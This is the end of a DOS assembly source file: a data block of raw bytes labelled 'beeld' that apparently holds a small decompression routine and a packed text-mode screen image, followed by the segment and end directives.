beeld           db      0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
                db      090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
                db      001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
                db      000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
                db      0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
                db      00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
                db      0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
                db      004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
                db      022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
                db      0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
                db      081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
                db      003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
                db      0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
                db      002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
                db      0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
                db      0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
                db      0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
                db      0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
                db      084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
                db      083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
                db      001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
                db      0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
                db      0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
                db      0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
                db      0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
                db      01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
                db      061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
                db      0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
                db      009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
                db      05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
                db      0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
                db      020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
                db      0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
                db      0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
                db      060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
                db      022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
                db      0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
                db      041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
                db      009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
                db      01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
                db      09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
                db      084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
                db      053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
                db      01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
                db      0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
                db      07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
                db      076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
                db      055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
                db      084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
                db      0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
                db      050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
                db      070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
                db      020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
                db      019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
                db      0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
                db      083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
                db      0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
                db      072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
                db      041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
                db      002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
                db      072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
                db      0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
                db      070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
                db      040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
                db      0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
                db      061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
                db      048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
                db      066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
                db      05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
                db      093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
                db      0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
                db      0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
                db      0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
                db      0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
                db      0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
                db      0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
                db      02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
                db      0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
                db      0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
                db      0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
                db      02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
                db      0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
                db      0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
                db      0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
                db      0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
                db      0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
                db      0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
                db      0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
                db      0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
                db      03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
                db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
                db      0E9h, 07Dh, 0EBh
                
last:

_TEXT           ends
                end    first